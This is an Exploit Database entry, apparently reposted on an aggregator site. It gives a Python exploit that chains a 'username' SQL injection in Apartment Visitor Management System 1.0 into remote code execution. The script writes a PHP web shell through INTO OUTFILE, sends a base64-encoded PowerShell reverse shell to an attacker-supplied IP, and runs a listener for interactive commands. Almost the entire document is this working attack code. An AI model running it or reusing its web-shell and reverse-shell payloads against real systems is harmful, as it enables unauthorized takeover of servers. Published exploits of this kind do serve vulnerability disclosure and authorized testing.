Apartment Visitor Management System (AVMS) 1.0 – ‘username’ SQL Injection

Exploit Database
114 阅读

作者： mari0x00

日期： 2021-09-13
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/50288/

# Exploit Title: Apartment Visitor Management System (AVMS) 1.0 - 'username' SQL Injection

# Date: 2021-08-13

# Exploit Author: mari0x00

# Vendor Homepage: https://phpgurukul.com/apartment-visitors-management-system-using-php-and-mysql/

# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=10395

# Version: 1.0

# Tested on: Windows 10 + XAMPP

#!/usr/bin/python3

import requests, socket, threading

import base64, time, sys

print(('''###########################################################''',"red"))

print(('''###########AVMS SQLi to RCE by mari0x00############''',"red"))

print(('''###########################################################''',"red"))

print("")

URL = input("Provide URL for AVMS (e.g. 'http://localhost/avms/'): ") or 'http://localhost/avms/'

path = input("Provide path for shell upload (default 'C:\\xampp\\htdocs\\avms\\lol.php'): ") or 'C:\\xampp\\htdocs\\avms\\lol.php'

path = path.replace("\\", "\\\\")

rhost = input("Provide attacker IP: ") or "127.0.0.1"

rport = input("Provide attacker listening port: ") or "1337"

# sending webshell

payload = {"username": "admin' union select '<?php system(base64_decode($_GET[\"cmd\"]));?>' into outfile '" + path + "' -- 'a", "password": "test", "login": ''}

requests.post(URL, data=payload)

def shell(rhost, rport):

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:

s.bind((rhost, int(rport)))

except socket.error as msg:

print("Bind failed. Error Code : " + str(msg[0]) + " Message " + msg[1])

sys.exit()

s.settimeout(5)

s.listen(5)

print('[+] Waiting for connection..')

conn = False

command=''

while conn == False:

try:

conn, addr = s.accept()

print("Got a connection from " + addr[0] + ":" + str(addr[1]))

conn.send('\n'.encode())

time.sleep(1)

print(conn.recv(0x10000).decode())

while(command != 'exit'):

command=input('')

conn.send((command + '\n').encode())

time.sleep(.3)

res = conn.recv(0x10000)

print(res.decode())

s.close()

sys.exit("[!] Program exited")

except socket.timeout:

pass

def start_shell(rhost, rport):

revshell = "powershell -nop -NonI -W Hidden -Exec Bypass -c \"$client = New-Object System.Net.Sockets.TCPClient('" + rhost + "'," + rport + ");$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\""

revshell = revshell.encode('ascii')

revshell = base64.b64encode(revshell)

revshell = revshell.decode('ascii')

connection = requests.get(URL+"/lol.php?cmd=" + revshell)

print("[+] Starting to listen on port " + rport)

time.sleep(0.5)

threading.Thread(target=shell, args=(rhost, rport)).start()

time.sleep(2)

print("[+] Sending the reverse shell payload")

threading.Thread(target=start_shell, args=(rhost, rport)).start()